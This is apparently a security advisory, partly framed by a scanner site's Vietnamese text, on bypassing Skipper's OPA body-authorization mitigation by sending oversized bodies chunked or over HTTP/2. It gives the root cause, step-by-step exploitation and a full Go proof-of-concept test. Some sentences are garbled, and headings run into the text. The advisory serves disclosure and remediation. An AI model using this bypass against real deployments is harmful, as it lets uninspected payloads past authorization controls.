| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/zalando/skipper | < 0.27.37 | 0.27.37 |
filters/openpolicyagent/openpolicyagent.go → ExtractHttpBodyOptionally; combined with github.com/open-policy-agent/opa-envoy-plugin envoyauth/request.go → getParsedBody / checkIfHTTPBodyTruncated. Filter: opaAuthorizeRequestWithBody.<= 0.27.33 (current HEAD e7d7014c). The truncated_body mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.3152f3b0) → GHSA-8qqm-fp2q-v734 (docs + code, commit 1be950cd #4126, v0.27.26). This finding is the third, still-open variant.Skipper's opaAuthorizeRequestWithBody filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds -open-policy-agent-max-request-body-size (default 1 MB), Skipper truncates it before OPA sees it. Advisory GHSA-8qqm-fp2q-v734 established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to guard on input.attributes.request.http.truncated_body (implemented as the top-level input.truncated_body):
default allow := false
allow if {
input.truncated_body == false
# ... body-based conditions
}
That mitigation is itself incomplete. The truncated_body flag is computed by the OPA envoy plugin only when a content-length header is present. A request sent with Transfer-Encoding: chunked (HTTP/1.1) or over HTTP/2 carries no content-length, so truncated_body is left false even though Skipper truncated the body. The mitigated policy therefore evaluates input.truncated_body == false as true and ALLOWS the request, while the full, un-inspected oversized payload is forwarded to the upstream (Skipper's bufferedBodyReader streams the buffered prefix and then continues draining the original body).
The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the exact transport class the original CVE-2026-50197 was about; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised chunked bodies, never chunked bodies.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíopa-envoy-plugin/envoyauth/request.go:
func getParsedBody(...) (any, bool, error) {
if val, ok := headers["content-type"]; ok {
if strings.Contains(val, "application/json") {
...
if val, ok := headers["content-length"]; ok { // <-- only path that sets truncation
truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
...
if truncated { return nil, true, nil }
}
...
} else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ }
else if ... "multipart/form-data" { /* same content-length gate */ }
}
return data, false, nil // <-- no content-length ==> truncated_body = false
}
func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
cl, _ := strconv.ParseInt(contentLength, 10, 64)
if cl != -1 && cl > bodyLength { return true, nil }
return false, nil
}
Truncation can only ever be signalled by comparing content-length against the received body length. With chunked/HTTP-2 there is no content-length, so the comparison is skipped and truncated_body is reported false. Skipper (ExtractHttpBodyOptionally) meanwhile does truncate the chunked body to maxBodyBytes (it sets expectedSize = maxBodyBytes when req.ContentLength < 0), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing.
opaAuthorizeRequestWithBody with a body-inspecting policy that follows the GHSA-8qqm mitigation (allow if input.truncated_body == false). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).max-request-body-size using Transfer-Encoding: chunked (or HTTP/2). No content-length header is present.ExtractHttpBodyOptionally reads/truncates the body to maxBodyBytes; rawBody is the truncated prefix.AdaptToExtAuthRequest forwards the lowercased headers (no content-length) and the truncated RawBody to OPA.getParsedBody finds no content-length → truncated_body = false; for a non-parsed content-type it also returns parsed_body = null with no error.input.truncated_body == false is satisfied → allow = true.bufferedBodyReader.Read serves the buffered prefix and then continues reading the original req.Body, delivering the full oversized payload to the upstream.Every guard on the path is accounted for: the only "guard" is truncated_body, and it is defeated by omitting content-length.
Bypass of OPA request-body authorization for any deployment that adopted the official truncated_body mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N = 7.5 High
(Conditional: exploitable only where opaAuthorizeRequestWithBody is used with a truncated_body-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)
Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (proxy.WithParams) + a real OPA control plane (opasdktest) with WithMaxRequestBodyBytes(32) and the advisory's verbatim mitigation policy (allow if input.truncated_body == false), routed to a recording upstream.
truncated_body=true → 403 (mitigation works).truncated_body=false → 200, and the upstream receives the full 66-byte payload past the 32-byte inspection cap.Command and observed benign output:
$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v
poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1
poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66
--- PASS: TestTruncatedBodyChunkedBypass (0.11s)
PASS
-1) — mitigation works.(Full PoC source is appended below by the submission tool via --poc-file.)
application/json when truncation lands mid-token, but the bypass does not rely on JSON: application/x-www-form-urlencoded parses leniently after truncation, and unparsed/absent content-types return (nil, false, nil) with no error. The load-bearing signal is truncated_body, not parsed_body, and it is false in all these cases.AdaptToExtAuthRequest copies req.Header verbatim (lowercased); a chunked request has no content-length header, and net/http does not synthesise one. Confirmed by reading skipperadapter.go.deny if truncated_body == true (allow-by-default), which is unaffected." Both shapes in the advisory rely on truncated_body correctly reflecting truncation; the deny-if shape simply fails to deny under the same chunked condition. The allow-if shape (shown) fails open directly.parsed_body and recommends truncated_body. Neither addresses truncated_body being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).
Do not rely on the client-supplied content-length header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in ExtractHttpBodyOptionally, detect that the underlying body still has bytes after maxBodyBytes were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic content-length (or a dedicated context extension / metadata field) that reflects the real truncation state, so input.truncated_body is true whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds maxBodyBytes when body-based authorization is enabled, instead of silently truncating. Upstream, opa-envoy-plugin should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to false.
High. Root cause verified in both Skipper and the pinned [email protected] source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.
poc_truncated_body_chunked_test.go)package openpolicyagent_test
import (
"fmt"
"io"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"
opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
"github.com/stretchr/testify/assert"
"github.com/zalando/skipper/eskip"
"github.com/zalando/skipper/filters"
"github.com/zalando/skipper/filters/builtin"
"github.com/zalando/skipper/filters/openpolicyagent"
"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest"
"github.com/zalando/skipper/proxy"
"github.com/zalando/skipper/routing"
"github.com/zalando/skipper/routing/testdataclient"
)
// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734
// mitigation ("check input.truncated_body in your policy") fails OPEN when the
// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).
//
// The mitigation Rego (verbatim from the advisory):
//
// default allow := false
// allow if { input.truncated_body == false }
//
// truncated_body is derived by the OPA envoy plugin ONLY when a content-length
// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody ->
// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no
// content-length, so truncated_body stays false even though Skipper truncated
// the body to max-request-body-size. The mitigated policy therefore ALLOWS an
// oversized body and the full payload reaches upstream.
func TestTruncatedBodyChunkedBypass(t *testing.T) {
const maxBody = 32
// oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32.
payload := "a=" + strings.Repeat("A", 64)
// upstream records how many body bytes it actually received.
var upstreamBytes atomic.Int64
backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
n, _ := io.Copy(io.Discard, r.Body)
upstreamBytes.Store(n)
w.WriteHeader(200)
w.Write([]byte("OK"))
}))
defer backend.Close()
bundleName := "test-bundle"
opaControlPlane := opasdktest.MustNewServer(
opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{
// The exact mitigation the advisory recommends.
"main.rego": `
package envoy.authz
import rego.v1
default allow := false
allow if {
input.truncated_body == false
}
`,
}),
)
defer opaControlPlane.Stop()
config := fmt.Appendf(nil, `{
"services": {"test": {"url": %q}},
"bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}},
"labels": {"environment": "test"},
"plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}}
}`, opaControlPlane.URL())
opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(
openpolicyagent.WithPreloadingEnabled(true),
openpolicyagent.WithEnableDataPreProcessingOptimization(true),
openpolicyagent.WithInstanceStartupTimeout(5*time.Second),
openpolicyagent.WithMaxRequestBodyBytes(maxBody),
openpolicyagent.WithOpenPolicyAgentInstanceConfig(
openpolicyagent.WithConfigTemplate(config)),
)
if err != nil {
t.Fatalf("opaRegistry: %v", err)
}
defer opaRegistry.Close()
fr := make(filters.Registry)
fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))
fr.Register(builtin.NewSetPath())
docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";`
r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))
dc := testdataclient.New(r)
defer dc.Close()
rt := routing.New(routing.Options{
FilterRegistry: fr,
DataClients: []routing.DataClient{dc},
PreProcessors: []routing.PreProcessor{opaRegistry.NewPreProcessor()},
PostProcessors: []routing.PostProcessor{opaRegistry},
PollTimeout: time.Second,
SignalFirstLoad: true,
})
defer rt.Close()
<-rt.FirstLoad()
pr := proxy.WithParams(proxy.Params{Routing: rt})
defer pr.Close()
ts := httptest.NewServer(pr)
defer ts.Close()
inst, err := opaRegistry.GetOrStartInstance(bundleName)
assert.NoError(t, err)
assert.NotNil(t, inst)
doReq := func(chunked bool) (int, int64) {
upstreamBytes.Store(-1)
req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload))
if err != nil {
t.Fatalf("new request: %v", err)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
if chunked {
// Force chunked framing: no Content-Length reaches the server,
// so the server sees req.ContentLength == -1.
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}
}
rsp, err := ts.Client().Do(req)
if err != nil {
t.Fatalf("do: %v", err)
}
io.Copy(io.Discard, rsp.Body)
rsp.Body.Close()
return rsp.StatusCode, upstreamBytes.Load()
}
// POSITIVE CONTROL: oversized body WITH Content-Length.
// truncated_body == true -> policy denies. Mitigation works as designed.
clStatus, clUpstream := doReq(false)
t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream)
assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)")
// BYPASS: identical oversized body sent CHUNKED (no Content-Length).
// truncated_body == false -> policy ALLOWS -> full payload reaches upstream.
chStatus, chUpstream := doReq(true)
t.Logf("[chunked ] status=%d upstream_body_bytes=%d", chStatus, chUpstream)
assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation")
assert.Equal(t, int64(len(payload)), chUpstream,
"BYPASS: upstream received the FULL oversized payload past OPA authorization")
}